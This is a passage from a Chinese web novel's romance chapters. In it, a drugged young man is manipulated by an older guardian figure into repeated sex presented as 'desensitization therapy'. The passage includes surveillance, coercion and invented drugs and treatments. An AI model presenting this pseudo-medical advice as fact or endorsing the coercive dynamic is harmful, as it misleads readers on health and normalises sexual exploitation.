贺衍睫毛湿漉漉地颤着,看到了鄢忬的影子,他几乎是急不可耐地抓住了鄢忬有些冰凉的手指,湿热的吐息落到了鄢忬的手掌。 “叔叔,我好难受。” 鄢忬的声音温柔,喉结却缓慢滚动了一下。 “需要帮忙吗?” 贺衍只能看见他的嘴一张一合,可根本听不清他在说什么。 他的每一寸皮肤现在都异常敏感,甚至连空气的流动现对他来说都像是一种折磨。 想要被触碰,贺衍大脑已经烧成了一团糨糊,他只是学着刚才可以舒服的样子,含住了他的手指。 鄢忬眸色暗了下去,他低笑了一声:“阿衍,好乖。” “我会帮你的。” …… 贺衍手指无力地蜷缩着。 他的睫毛湿透了,眼泪顺着眼尾滑落,眼神涣散得几乎失焦。 不知道什么时候,天已经亮了。 阳光从窗帘的缝隙撒入屋内,落在凌乱的被角上。 移动的光斑沿着床单缓慢爬行,触到了贺衍眼皮。 他皱了皱眉,睫毛颤动几下,忽然睁开。 怎么浑身酸疼。 他茫然地睁开眼,眼尾的那抹红格外显眼,让他整个人带着几分说不出的脆弱和蛊惑。 视线缓缓聚焦,熟悉的天花板,熟悉的衣柜,还有—— “醒了?” 低沉的嗓音从身侧响起,贺衍浑身一僵,机械地转过头。 贺衍死死咬住嘴唇,胸口像是被浸了水的棉花团堵住,几乎无法呼吸。 他低头看了看身上,已经换上了崭新的睡衣。 好像昨晚的一切都是梦一样。 鄢忬站在床头,他的手里拿着一杯水,用那双深不见底的眼睛静静看着他,目光温柔又克制。 仿佛什么都没有发生一样。 但锁骨上的那处抓痕却又极其明显和刺眼。 昨晚是鄢忬。 为什么会是鄢忬。 心脏像是被蚂蚁啃食一般,那种钝痛和酸胀让他一时无法明白自己现在到底是什么心情。 “我,”他的嗓子哑得不像话,手指无意识地揪紧了被单,“我们……” “嗯。”鄢忬平静地应了一声,扶着他坐起来,把水喂到了他的唇边。 贺衍被触到,身体下意识轻颤了一下。 “你被下药了,昨晚的事,是我的错。” 他声音依旧温柔,却无法避免地染上了几分沙哑:“阿衍,你还有印象吗?” 贺衍眼底愠色燃起,他的表情沉了下去。 他当然记得。 岑靳闯进了房间,自己被他按在床上,喂了一颗药—— “难受就别想了。”鄢忬忽然伸手揉了揉他的发顶,像之前那样,像什么都没有发生那样。 下一秒,零碎的画面猛地扎进脑中,炽热的呼吸,交缠的肢体,还有那双禁锢着放在他腰间的那只手。 贺衍猛然僵住,然后猛地打开头顶的那只手。 他忽然抬头,视线冰冷,面无表情地看向鄢忬,可声音却抖得厉害。 “昨晚那种情况,你为什么不推开我?” 空气凝固了。 “昨晚是我不对,我晚上回来得太晚了。”鄢忬的声音停顿了一瞬,“我走到小区楼下的时候,发现你房间的灯还开着。我觉得有点不对劲,就打开了你家的门,但里面有一个陌生的男人。” 鄢忬垂眸看了眼贺衍,轻声说道:“我把他赶走了。” “我其实打算离开的,但——” 鄢忬语气太自然了,自然得像是在说中午吃什么这种事。 贺衍怔怔地看着他,突然觉得眼前的一切有些太过荒谬,这个一直被自己当成长辈的人。 在奶奶去世之后,被自己当作最亲近的人,此刻正在用那种长辈关怀晚辈的姿态,谈论他们混乱的□□。 他不想再听到鄢忬继续说了,贺衍指尖发抖,他感觉嘴唇发干,可喉咙却像是被什么东西堵住了,一句话都说不出来。 别说了,别说了,贺衍努力强装着不在乎,可是唇瓣却被他咬出了血。 “阿衍,你还记得,一个月前你问过我在吃的药是什么吗?” 贺衍眼皮抖动,睫毛像是蝴蝶的扇羽般轻颤。 鄢忬的话在他的脑海中盘旋了片刻,贺衍的瞳孔骤然收缩,瞬间忘却了刚才尴尬的羞耻。 贺衍的心脏像是被无形的手死死握住,快要爆炸,无言的恐慌让他瞬间抬眼,几乎是脱口而出:“不是治疗睡眠的药吗?” 鄢忬苦笑,他捏了下眉心:“那是我骗你的。阿衍,我有性|瘾。” 耳边鄢忬的声音还在响着,但贺衍却像是被冰冻住了。 “那是治疗性|瘾的药,所以一般我不会和别人太过于亲密。我当初应该走的,但是我的错,我没能走掉——” 是因为自己,不让他走。 贺衍的大脑空白了一瞬,稀碎的片段突然连在了一起,他的神色呆滞,脸青一阵白一阵,岑靳给他下了药,然后,然后——是他一直缠着不让鄢忬离开。 贺衍有些崩溃了:“叔叔,别说了。” “你只是药效发作而已。”鄢忬突然打断他的思绪,语气恢复了往日的沉稳,“这不是你的问题。阿衍,是我的错。” 他想要从这种环境离开,但刚一起身,却发现双腿酸软到没有任何力气,他站不稳地重新摔倒在了床上。 水杯被他碰倒在了地上,碎了一地。 鄢忬伸手扶了他一把,贺衍想要躲开,可被碰到的身体却不受控制地颤抖起来。 鄢忬看了眼地上的玻璃碎片,墨绿色的眸子晦暗,他出去了。 贺衍坐在床边,他盯着自己手腕上残留的红痕,额角青筋暴起,眸色一点点变暗。 全身上下都像是被汽车碾压过一样,酸痛到几乎没有力气,但更让他难以忍受的是那种挥之不去的失控感,仿佛有什么东西被硬生生地撬开,再也无法复原。 如果不是岑靳。 贺衍眼中满是森然的寒意,下颌绷得几乎能听见牙齿摩擦的声响。 鄢忬他扫走了玻璃碎屑。 过了一会儿,他的脚步声再次出现在房间里,声音低沉而平稳:“阿衍,你现在感觉怎么样?” 贺衍闭了闭眼,嗓音沙哑:“让我自己待会儿。” 空气沉默了几秒,脚步声渐行渐远。 贺衍缓缓吐出一口气,强迫自己冷静下来。 他站起身,脚步有些踉跄地走进浴室。 他打开冷水,狠狠冲了把脸。 镜子里的人脸色苍白,眼底布满血丝。 可偏偏唇色却艳丽得刺目,像是被人反复啃咬过,充血的红肿还未消退。颈部更是一片狼藉,吻痕从耳后一路蔓延到锁骨。 他抬手碰了碰颈间最重的那处淤痕,指尖刚触到皮肤就疼得一颤。 镜中的人露出了一个讥诮的笑,贺衍扯了扯嘴角,他甚至不知道这是谁留下的。 事情既然已经发生了,那现在他再崩溃再后悔也没用,他唯一能做的就是接受,至少,至少他还能维持表面的平静。 特么的接受。 真是可笑,贺衍的拳头狠狠地砸向镜子。 三天后,门铃响了。 贺衍透过猫眼往外看,鄢忬站在门外,神色如常,仿佛他们之间什么都没发生过。 贺衍犹豫了一秒,还是开了门。 鄢忬的目光在他身上扫了一圈:“这几天没好好吃饭吗,怎么瘦了。” 贺衍没接话,侧身让他进来了。 “你来找我还有什么事吗?门锁已经给换过了,门外的摄像头也已经安上了。” 贺衍语气中的不欢迎之意显而易见。 “阿衍,发生的事情不能改变。”他顿了顿,语气平静,“但至少,不能让那个人再有机可乘。” 贺衍的手指微微收紧,他避开了鄢忬的视线,唇角扯出一抹假笑:“哦。” 鄢忬看着他,眼神深不见底:“我知道你身手还不错,但你的身手比不过那晚的人。所以,我给你找了个教练。” 贺衍愣了一下,他终于看向鄢忬,神色还有些错愕:“什么?” “退役军官,近身格斗专家。”鄢忬的声音不容置疑,“如果下次再有人碰你,你至少能打断他的手。” 贺衍沉默了几秒,最终点了点头:“好。” 两天后,津兴市的一个私人练武场。 鄢忬开车把他送到这里,跟教练交流了几句之后,就离开了。 贺衍瞬间自在了很多。 教练姓刘,叫作刘鸿维。刘鸿维是个四十多岁的男人,肌肉结实,眼神锐利,一看就是个练家子。 刘鸿维探了下贺衍的底,两人几次对练了几次,贺衍的呼吸已经变得急促了。 要是按照贺衍以前的体能来看,第一天的训练其实并不算高强度,但现在他的身体却有些吃不消。 他能感受到自己的肌肉记忆还在,但相比之前,体力明显下降了很多。 最近这段时间,他的确属于锻炼了。 但这些都可以弥补,贺衍眯了下眼,他擦掉额头的汗,正准备继续,却被教练打断了。 “休息十分钟。”教练对着他点了点头。 贺衍抿唇,走到一旁喝水。 可就在这时,他突然察觉到身体的不对劲—— 他的下面硬了。 贺衍的表情瞬间僵住。 他迅速背过身,假装调整护腕,试图让自己迅速冷静下来。可越是压抑着那股欲望,燥热感反而越明显。 他的指尖都开始发颤,贺衍的喉结滚动了一下,他暗骂了一句,眼尾泛红。 刘鸿维看了眼时间,已经十分钟了,他站了起来:“贺衍,继续吗?” 贺衍深吸一口气,声音尽量保持平稳:“抱歉,刘教练,再等等。” 贺衍找了个借口去洗手间,他锁上门,低头看着自己不受控制的反应,脸色难看到极点。 这不对劲,太不对劲了。 他咬紧牙关,快速解决了一次,可当他重新回到训练室,仅仅几个回合的训练后,那种难以启齿的冲动又卷土重来。 贺衍的指节攥得发白。 他好像出问题了。 接下来的几天,每一天都会出现这种情况。 贺衍开始刻意减少和教练的肢体接触,甚至找借口提前结束每天的训练。 他不想让任何人知道,尤其是鄢忬。 今天的任务比以往都要轻松。 贺衍正在拉伸,忽然听到训练室的大门被推开了,他一抬头,就看到鄢忬站在了门口。 那双墨绿色的眼眸此刻直直地盯着贺衍,带着某种复杂的情绪。 “阿衍,你最近状态不对。”鄢忬直接开口,语气虽然温和,却让贺衍下意识心跳加速。 贺衍移开了视线,平缓自己莫名加快的心跳和呼吸。 他不可能发现,贺衍吸了一口气,他微微抿唇,下颌紧绷,看似随意地说道:“或许只是我的体力还恢复。” 鄢忬没说话,而是径直走到他面前。 贺衍往后退了一步,避开了他的手。 鄢忬墨绿色的瞳孔变暗。 “出汗过多,心率不稳,呼吸紊乱。”鄢忬的声音比刚才冷了很多,“刘鸿维把你最近的情况都告诉我了,阿衍,你还要瞒着我多久。” 贺衍第一次听到他这么严肃的声音,喉结滚动了一下,没吭声。 鄢忬盯着他,忽然问:“是身体上的反应吗?” 贺衍的瞳孔猛地一缩。 他虽然没有说话,但鄢忬的眼神却瞬间沉了下去。 医院走廊的灯光惨白刺眼。 贺衍坐在诊疗室里,面无表情地听着医生的诊断。 “你的血液检测显示,体内残留的药物成分不止一种。” 医生推了推眼镜,看着报告单分析道:“有一种浓度其实已经很低了,按理来说应该很快会被代谢掉的,但不仅没有,反而和最近你吃下的那颗药相互作用,导致药性更强了。” 鄢忬神色忽然变得复杂,眸色却冷了下去。去年十月份,他明明给贺衍注射了解药,而且他是看着他药效消散之后才离开的。 难道在那之后又发生了什么吗? 贺衍呼吸停滞了一瞬,手指无意识地收紧。 “这种药物会对神经系统造成不可逆的损伤,尤其是,”医生砸吧下嘴,声音停顿了一下,才继续说道:“性功能方面。” “简单来说,你的身体现在对某些,嗯,就是某些刺激会比较敏感。特别是在剧烈运动后,会不受控制地产生生理反应。” 医生又推了推眼镜,他看着浑身冒着冷气的贺衍,斟酌着措辞:“这种情况……这么说吧,其实就有点类似于性瘾,但更偏向病理性的。” 贺衍的脑子忽然嗡嗡作响。 他听到鄢忬在旁边问:“能治吗?” 医生摇头:“只能控制,无法根治。” 贺衍闭上眼,突然觉得有些可笑。 医生从抽屉里找出一张名片,他眨了下眼,还是将名片递给了一旁站着的鄢忬。 “先生,您可以带着患者取找这位医生,他虽然在私立医院,但在这方面的研究,我比不上他。” 鄢忬接过名片,上面写着:[康泰和医疗中心,齐崇杉] 第86章 第 86 章 痒 第86章 齐崇杉治疗这种病的水平相对来说的确很高。 但因为贺衍对康泰和医疗中心有些抗拒, 鄢忬并没有直接带贺衍去那里。 齐崇杉翻了个白眼,看着突然出现在自己家里的鄢忬:“无事不登三宝殿,你这大忙人不去追你的小朋友, 突然来找我准没什么好事。” 鄢忬没心情跟他开玩笑, 而是直接把贺衍的体检报告递给了他。 鄢忬眸色黑沉:“看一看,能治吗?” 齐崇杉微眯了下眼, 他接过报告单,翻看了几眼,表情也严肃了起来。 齐崇杉忍不住咂舌:“你家这小朋友,血液里的东西也有点太复杂了吧。” 难道说鄢忬追人不成开始搞强制爱那一套了,给那个一看就是直男的小朋友下药逼他就范了。 齐崇杉皱着眉狐疑地看了眼鄢忬, 但到底没有直白说出来。 他把报告单合上:“鄢忬, 你想让我怎么治。他的症状和你不一样, 你除了身体原因之外,还有一部分是心理因素,只要你想控制, 其实没那么难。” 齐崇杉手指在报告上敲了敲:“但贺衍明显不是,他是因为周围神经和部分中枢感觉通路受到了损伤, 导致触觉过敏。” 齐崇杉摇了摇头:“目前我能想到的方法就是吃药,普通的药的确也会有效, 但身体很快就会对这种药产生耐药性, 少则三天, 最多也就一周, 药就会失去作用。” 齐崇杉斟酌着说辞,轻叹了一口气。 “瑟维林缓释剂的确可以抑制这种情况,但必须长期服用。你之前也吃过这种药,你应该也清楚, 相比于触觉过敏,瑟维林缓释剂对身体的损伤更大。这种药含有端粒酶抑制成分,会加速细胞衰老,长期服用者会导致平均寿命缩短5-10年。” 鄢忬依旧面无表情,但眉梢却压低了,那种压迫感让齐崇书下意识屏住了呼吸。 “继续说。” “长期服用的人可能会逐渐丧失对温度、疼痛的感知,甚至会导致情感钝化。而且一旦停药,神经的敏感性就会出现爆发式的反弹,可能会比治疗前更加敏感。” 鄢忬的表情越来越沉,他垂下眼睛,齐崇杉无法从中观察到太多的情绪。 他也只是叹了口气,说道:“老鄢,你去问问那个小朋友,他愿不愿意——” 鄢忬打断了他:“不用问了,他不需要这种药。” 齐崇书揉了揉头发,心里纠结着。 贺衍并不清楚鄢忬和齐崇杉的对话。 他也看到了医生推荐的那张名片上的联系方式,就是他现在租住的这间房子的真正主人。 这套房子租了一年,还有四个月到期。 自从那天的事情发生之后,一走进卧室,大脑就像触发了什么自动程序一样,开始不断播放那天晚上发生的事情。 他不清楚鄢忬和岑靳说了什么,也无法回忆起那个时候到底具体发生了什么令人尴尬又难堪的画面。但唯一清楚的就是,在天将亮未亮之际,他还在贪婪地缠着鄢忬,还在被一寸又一寸地锲入。 贺衍不敢再住到那里,而是睡到了隔壁的客房,之前李红芹住的那一间。 杨梅霞的房间里的一切都维持着她离开之前的模样,贺衍站在门外,脑海中的回忆一点点闪现。 再有半个多月,铜海大学就要开学了,他以后可能不会再回到这里。 情感与理智在互相争夺着身体的掌控权,他明明不想再回到津兴,但又无法彻底舍下这里的回忆。 或许一切保留原样就是最好的。 贺衍拨通了齐崇杉的电话。 齐崇杉正在语重心长地劝说鄢忬:“以我这种被离婚的过来人经验,情侣之间最好不要有这种隐瞒。老鄢,如果你真想和小朋友长远地走下去,你最好还是告诉他实情,这是他自己的事情,他的选择或许跟你——” 鄢忬一言不发,态度坚定。 齐崇杉有些劝不动的时候,手机忽然开始震动起来,他看了眼来电显示,是他之前存过的贺衍的电话号码。 齐崇杉挑了下眉,对着鄢忬扬了扬手机:“你家的小孩,我猜他可能是来咨询的,你确定不改变看法。” 鄢忬掀起眼皮,浅浅看了一眼齐崇杉。 齐崇杉举手投降:“我知道你的意思了,不该说的我绝对不瞎说。” 五分钟后,齐崇杉挂断了电话。 “不该说的我都没说,但你刚才也听到了,他打算续租房子。”齐崇杉疑惑地说道,“或许是他没有那么想要离开这里,他都续租了,肯定是以后还要回来吧。” “不,他是不打算回来了。”鄢忬唇瓣抿直,眼眸晦暗。 齐崇杉啊了一声,但鄢忬没有再解释什么。 齐崇杉拽了拽自己的头发,忽然说道:“其实,也不是完全一点办法都没有了。” 齐崇书抬眼看了他一眼:“反正你们俩现在都这种情况了,如果你想要让他脱敏,从临床角度来说,这类情况进行系统性脱敏治疗会有一定的效果。” 鄢忬坐在对面,透明的玻璃烟灰缸里积了半截烟灰,他没动。 “具体方法?” 齐崇杉斟酌了一下措辞:“如果他对,嗯,对这种特定的刺激过度敏感的话。那么,在安全可控的环境下,重复暴露在这种刺激之中,可以逐步降低反应强度,咳,这是一种比较常见的治疗方案。” 房间里安静了几秒。 鄢忬听懂了他的未尽之意。 鄢忬轻笑了下,但笑意未达眼底。 “医学上把这个称之为习惯化。”齐崇杉耸了耸肩,“当然,需要严格把控频率和强度,避免二次创伤。” 烟头被按灭在玻璃缸里,鄢忬发出了一声轻嗤。 “明白了。”鄢忬站起身,西装裤腿掠过报告单,他低身拿走了报告,“多谢建议。” 傍晚,贺衍的房间大门被敲响了。 鄢忬手里提着一袋东西递给了贺衍:“医生开的药,一天一次,可以缓解症状。” 贺衍接过药,道了一声谢,正准备关门的时候,被鄢忬拦住了。 他握住袋子的手收紧,避开了鄢忬的目光。 贺衍的唇瓣被他抿得泛白,看起来倔强又脆弱。 鄢忬心头涌上一股酸涩,但眸色却彻底晦暗了下来。 鄢忬的目光一眨也不眨地落在贺衍身上,但贺衍并未发现,那双眼里翻涌的浓稠的情欲。 鄢忬换了话题:“阿衍,你难道要和我一直保持这种状态吗?” “叔叔,这样难道不好吗。” 不知道鄢忬的话戳到了他心里的哪一点,贺衍扯了扯嘴角,忽然眉梢挑了起来,表情桀骜带着几分冷意的不驯。 鄢忬被他的目光刺了一下,恍惚间像是回到了去年的那个晚上。 那个第一次和贺衍见面的晚上。 贺衍将门关上了。 鄢忬唇角的弧度缩小。 耐心等一段时间就好了。鄢忬微眯了下眼,眸中闪过一丝暗芒,他最不缺的就是耐心,他也不后悔,那天发生的事情。 他可以是信赖的长辈,但不能一直只是长辈。 贺衍对鄢忬的谋划一无所知,他知道鄢忬对自己有隐瞒。但岑靳没有再出现过,只要减少和鄢忬的接触,生活就会回到平静。 即使是看似平静。 有时候当个缩头乌龟其实也不错。 药的确有用,至少贺衍在训练的时候,不会再发生之前那种尴尬的情况。 时间即将要到九月份了,贺衍吃了一周的药,身体没有再出现过什么问题。 这天晚上,他吃完药照常睡觉。 可老天像是在给他玩笑一样,身体又起了反应,不是被下药后药效发作时的灼烧感,也不是被欲望冲垮的失控,更没有把他拉入□□焚身的境地。 但那是一种更加磨人的痒。 像是有一群蚂蚁顺着他的血管在蜿蜒爬行,在他的骨髓里轻轻啃噬。 他释放过一次,可身体深处却依旧浮起一层细密的痒。 大脑不断在眼前放映着那些能让身体更加快乐的片段,滚烫的掌心贴着他的腰线,粗粝的指腹碾过他的喉结,还有……更深处,更隐秘的触碰。 贺衍试图用意志力压下这股异样的躁动,可越是压抑,那股痒意就越是鲜明。 他猛地闭上眼,可那些记忆却愈发清晰。 药失效了吗? 他打开灯,又吃了几颗,但效果微乎其微。 贺衍手指无意识地攥紧了床单,指节因用力而泛白。 他清楚地知道自己在渴望什么,可越是清醒,就越是难熬。 释放过的身体本该餍足,可那股痒却像是从灵魂深处渗出来的一样,怎么也填不满。 他翻了个身,将脸埋进枕头里,可只是轻微的摩擦,尾椎那里就窜起一阵无法言说战栗。 痒。 从内到外的痒。 像是有什么东西在无声地叫嚣,渴望着被填满、被侵占、被彻底碾碎。 贺衍的喉结滚动了一下,额角渗出细密的汗珠。 第二天一早,贺衍就从家里出发了。 当初给贺衍诊断的那个医推了推眼镜,他接过贺衍手中的药。 “成分的确能治疗你的症状,”医生叹了口气,“但你的身体已经产生耐药性了,这种类型的药对你大概都不怎么管用了。” 他蹙着眉问道:“我上次推荐的那个医生,你去看过了吗?他怎么说。” 贺衍摇头:“这就是他开的药。” 医生又叹了口气:“如果齐医生都没有办法,那我更没有办法了。” 贺衍又换了一家医院,重新抽血化验。 得到依旧是同样的结果。 福宁小区,801室。 鄢忬抬腕看了眼时间,晚上十点了。 今天上午贺衍去了医院之后,没有去那家练武厅,他把自己关到了房间里,直到现在都没有出来。 看来,那个药大概已经失效了。 白天远没有晚上难熬。 贺衍烦躁地又冲了一个冷水澡,把空调温度开到了最低。 但没过多久,那股令人无法忽视的感觉又从脊椎爬上来,皮肤开始发烫,后腰泛起细密的痒,越是压抑就越是鲜明。 他猛地弓起身,喉结滚动着吞咽喘息。 该死。 贺衍暴躁地扯开衣领。 昨晚没有睡好的眼下泛着一片青,在冷白的肤色上异常明显。 “操!”他狠狠一拳砸在墙上,指节瞬间泛红,可疼痛带来的短暂清醒很快又被新一轮的痒意吞没。 大门忽然被敲响了,是鄢忬。 他的声音透过可视对讲机传到屋内。 “阿衍,刚才——” 他不想在这个时候听到鄢忬的声音。 贺衍快速走到门口那里,完全没有任何犹豫地就关掉了可视对讲机的通话。 他把自己摔进床上,往嘴里扔了几颗安眠药,强迫自己睡过去。 贺衍第二天又出现在了练武场。 但他没有让教练训练,而是自己一个人在单独的训练室里疯狂拉练。 汗水浸透了背心,布料黏在了皮肤上,明明他已经把自己累到筋疲力尽,但那种从骨髓里渗出来的痒意,依旧在身体里横冲直撞,几乎快把他逼疯了。 贺衍死死咬着牙,硬生生地又熬了几天。 练武场的一间私人休息室。 鄢忬坐在沙发上,长腿交叠,指间夹着一支未点燃的烟。眼前,是一块清晰的监控大屏。 鄢忬的目光平静地落在屏幕上,从贺衍发颤的指尖到绷紧的脊背,每一寸他挣扎都看得清清楚楚。 他知道贺衍现在有多难熬,甚至连最轻微的布料摩擦都能让那具身体战栗。 可他偏偏倔得像块石头,宁可把嘴唇咬出血也不肯服软。 鄢忬轻叹,眼底晦暗。 他本来是在等,在等贺衍彻底崩溃的那一刻。 到那时—— 鄢忬的指尖无意识加重力道,烟身微微变形。到那时,他会亲手接住这只遍体鳞伤的小兽。 可现在,他忽然发现自己错了,从一开始就搞错了。 按照阿衍的性格,他不可能会认输了,也不可能会屈服。 他甚至不会喜欢上自己。 鄢忬缓缓起身,忽然笑了。 可惜了,他从来都是一个挟恩图报的小人。 单人训练室里,贺衍脱力地躺在地上,安静的空间里只剩下他压抑的喘息声,像是困兽在最后的挣扎。 大门忽然从外面推开了,又被反锁住了。 皮鞋踩在地板上,发出清脆的声响。 鄢忬站在贺衍面前,垂眸看着他,光线被遮挡,墨绿色的瞳孔看起来比平日更加幽深晦暗。 他的声音温柔,带着和往常一样的关切。 “阿衍,还撑得住吗?” 贺衍猛地抬头,迎面撞上了那双眼睛,他还没来得及搞懂里面的情绪,就听见鄢忬低笑了一声。 鄢忬单膝跪地,伸手抚上了贺衍汗湿的后颈—— 他满意地感受到掌下的身体瞬间僵直,连呼吸都停滞了。 贺衍咬着嘴唇,压抑身体的颤意。 他的目光有些涣散,他明明已经忍了整整一周了,他以为自己可以把那些荒唐的想法和冲动全部压下,可是—— 贺衍的呼吸瞬间乱了,他的喉结滚动,脊背几乎绷成了一道僵硬的弧线。 他应该躲开的。 指腹上粗糙的薄茧擦过后劲,像火星溅进干柴。 所有的自制力都在顷刻间崩塌。 “……别碰我。”他从牙缝里挤出这几个字,嗓音却哑得不成样子。 可鄢忬的手没移开,反而顺着他的颈线缓缓摩挲了一下。 贺衍猛地一颤,连指尖都在发抖。 荒唐的回忆冲破了束缚,疯一样地在脑子里冲撞。 “阿衍,你在抖什么?”鄢忬的声音在耳边响起,低沉得像是在蛊惑。 贺衍打开了鄢忬的手,他逃一样地站了起来,后背贴到了距离鄢忬五六米远的角落。 鄢忬现在的模样,他忽然感觉有些陌生。 贺衍下意识地呢喃出声:“叔叔?” 鄢忬微微挑眉:“阿衍,齐崇杉其实给了我两个治疗方案。” 耳边像是隔了一层厚重的毛玻璃,鄢忬的声音被扭曲成了模糊的嗡鸣,但那些话的意思又极其清晰地传入了贺衍耳中。 “第一种是药物控制,但很显然这种方法的疗效似乎不太乐观。” 鄢忬漫不经心地把玩着打火机,开开合合的脆响在空旷的训练室回荡。 “第二种是脱敏治疗。” “你知道第二种方案具体指什么吗?” 贺衍猛地抬头,撞进对方深不见底的眼睛里,陌生感再次浮现,但又伴随着某种诡异的熟悉。 贺衍唇瓣抿紧,汗珠滑落到睫毛上,模糊了他的视线。 “用最原始的刺激,通过反复训练提高阈值来达到脱敏的效果,”鄢忬用非常平静的语气说着下流的话,“就像治疗恐高症需要去更高的地方一样。” 空气突然凝固。 他从来没见过这样的鄢忬。 “叔叔,我不明白你的意思。” 贺衍声音冷静,但细听却有些发颤,他抿了下唇,才发现唇瓣已经干得翘皮。 那种陌生感和侵略感,让贺衍的身体下意识紧绷,他警惕地看着鄢忬,像是第一次认识他那样。 “阿衍,你现在身体太敏感了。” “你甚至没办法掌控自己的身体,就像一只发情的野兽。” 贺衍张了张嘴想反驳,却发现喉咙干涩到声音都发不出来。 “阿衍,你当然可以继续这样生活,或者……” “让我教你重新掌控这具身体。” 鄢忬终于点燃了那支烟,这也是几个月以来,他第一次在贺衍面前吸烟。 白雾从唇间缓缓溢出,缭绕着上升扩散,模糊了鄢忬凌厉的下颌线。烟雾弥散间,鄢忬掀起眼皮,眉骨下映出了一道森冷的阴影,带着令人窒息的压迫感和吸引力。 “所以你要亲自当我的‘药?”贺衍终于明白了他的意思,他讥诮地扯了下嘴,眉宇间满是冷冽。 “叔叔。”贺衍加重了这两个字,“我以为您只是我的长辈。” “上次在训练室,你是想着谁弄出来的?”鄢忬笑了,他纵容地摇了下头,仿佛又变成了之前那种好好长辈的模样,连语气都带着长辈特有的无奈。 贺衍的瞳孔骤然收缩。 “你的身体需要习惯刺激,直到不再过度反应。” 鄢忬就站在他面前,神色淡漠,仿佛刚才那句荒唐的话不是从他口中说出来的。 “你可以拒绝,阿衍。”鄢忬语气平静,“然后一辈子当个被欲望折磨的废人。” 贺衍心脏疯狂地跳动,肋骨被撞得生疼。 以往温情的梦境瞬间破碎,一种无言酸涩的痛苦瞬间充斥胸腔,他甚至不清楚现在的疼是因为什么。 所以,这才是真正的鄢忬。 鄢忬朝他走了过来,但贺衍发现自己仿佛被什么东西死死钉在了原地一样,根本移不开脚。 鄢忬俯身,温热的呼吸拂过了他的耳畔,贺衍的身体颤了一下。 “离我远点……”他的声音哑得不成调,可尾音却带着可耻的颤抖。 “你确定?” 鄢忬的动作顿了顿,幽深的绿眸凝视着他,指尖顺着耳尖缓缓下滑。 他应该拒绝的,他应该狠狠推开这个趁人之危的混蛋。贺衍咬紧牙关,可身体却像有了自己的意识一般,主动弓起腰迎合对方的触碰。 他的皮肤烫得吓人,连呼出的气息都带着灼热的温度。最不堪的是,他能清晰地感受到自己下身的反应,布料摩擦带来的细微刺激都让他眼前发白。 “阿衍,看来你的身体比你的嘴诚实。”鄢忬低笑一声。 “阿衍,一次和几次没有区别。如果你愿意,我还是你的叔叔,和以前不会有任何区别。” 身体的反应比什么都要诚实,明明大脑叫嚣着抗拒,可当手掌覆上他的腰侧时,后腰窜起一阵触电般的酥麻,让他险些跪倒在地。 这成了压垮贺衍的最后一根稻草。 一次和几次没有区别。 他闭上眼,听见自己嘶哑的声音:“好。” “治疗”已经进行了整整一周。 鄢忬的确如他所说的有性|瘾。 几乎没有停止的时刻。 从浴室到落地窗,从皮质沙发到训练室的地垫—— 但这种方法的确初显成效。 至少现在,他不会在深夜被莫名的痒折磨到发狂,也不会在白天因为别人不经意的触碰而浑身发颤。 可副作用同样明显。 “好点了吗?”鄢忬低声问,指腹用恰到好处的力度按压着贺衍酸痛的肌肉。 贺衍闭着眼没吭声,喉结却轻轻滚动了一下。 距离铜海大学开学,仅剩两天的时间。 当天晚上,凌晨两点。 贺衍忽然从梦中醒来,鄢忬不知道什么时候已经离开了。 卧室的房门半掩,光从门缝漏了进来。 隐约能听到客厅那里有谁在说话。 贺衍撑着身体走到屋外,睡眼惺忪,眼角还洇着一抹红。 忽然,他愣在了那里,瞬间清醒了过来。 不只是他愣住了,头发半白的中年男人说话的声音也停下了。 鄢忬轻声问道:“俞叔,你怎么不说——” 他的声音在听到身后的脚步声后也戛然而止。 第87章 第 87 章 过渡篇结束(小剧场2)…… 头发半白的中年男人面容普通, 四十岁上下,气质沉稳,他的眼神中闪过一丝惊讶, 但很快又平静了下来。 贺衍眸色暗了下去, 他表情变化不大,但心脏却开始加速跳动。 他对这张脸有印象, 对这个人也有印象。 去年十月,贺家给他举办生日宴的那个晚上。从那个房间出去看不清面容的男人,就是在和这个人交谈。 原来是他啊。 贺衍扯了扯嘴角,他垂下了眼睛,手指抽搐了一下, 指尖微微发麻。 他终于知道了那种诡异的熟悉感来自何处。 鄢忬的眸色温柔, 声音如常:“阿衍, 是我们说话的声音吵醒你了吗?” “不介绍一下这位吗?”贺衍掀起眼皮,几乎是明知故问地看向鄢忬。 俞孟辉惊了一下,他很难想象有人敢用这种语气和鄢忬说话。 鄢忬轻轻瞥了俞孟辉一眼。 俞孟辉接到信号, 对着贺衍微微点头:“你好,我姓俞——” 贺衍扯了下嘴角, 眼底满是嘲意:“俞孟辉,俞杉风投的合伙人。” “我应该没说错吧?” 贺衍笑了下, 带着点荒唐的颤音。 那晚模糊的身影与鄢忬的面容重叠, 贺衍忽然觉得荒谬至极。 “叔叔, 你演得可真好, 好到让我以为今年我们才是第一次见面。” 贺衍眉梢讥诮地挑起,眼底却冷得骇人:“鄢忬也不是你的真名吧,毕竟之前你的名字是可是——普通的路人。” 贺衍语气里的嘲讽几乎不加掩饰,俞孟辉轻轻蹙眉:“你——” 但他的指责还未说出口, 便被鄢忬打断了:“你先出去吧。” 俞孟辉张了下嘴,有些不满地看了眼贺衍,最终还是离开了。 房间里只剩下了贺衍和鄢忬两人,但气氛却骤然凝固了。 “阿衍,鄢忬是我的真名,俞是我母亲的姓。”鄢忬的声音软了下来,“我也没有演戏。” “还有必要再骗我吗。”贺衍从牙缝里挤出这句话,他说得有些艰难,却在说出来的瞬间如释重负,“去年我生日的那晚,在那个房间里的人是你,可你让我以为今年一月初才是我们第一次见面。” 贺衍的嗓音有些哑,他盯着鄢忬:“从一开始,你就没想过当我的‘叔叔’,对吧?” 鄢忬没有立刻回答。 他站在玄关的阴影处,眉眼深邃,却又陌生得可怕。 “阿衍,除了身份之外,我没有骗过你。”鄢忬声音低沉,“我确实没想过要当你长辈,但我对你的感情,并不掺杂任何虚假。” 贺衍笑了一声,眼眶却发红:“你觉得这能让我好受点?” 他攥紧拳头:“你看着我依赖你、信任你,甚至……” 甚至在某些瞬间,产生过不该有的念头。 这句话贺衍没说出口,但鄢忬的眼神忽然暗了下来。 他的声音很低,带着某种蛊惑的煽动:“阿衍,你既然知道我对你从来不只是长辈对晚辈的感情。那你对我,从来都只是单纯的晚辈对长辈的孺慕吗?” 贺衍的呼吸一滞。 空气凝固了几秒。 贺衍的声音冷得刺骨:“别再出现在我面前了。” 他头也不回地走向门口,在经过鄢忬身边时,男人扣住了他的手腕。 那双墨绿色的瞳孔静静地看着他:“阿衍,你的治疗还没结束。” 指腹在腕骨上摩挲。 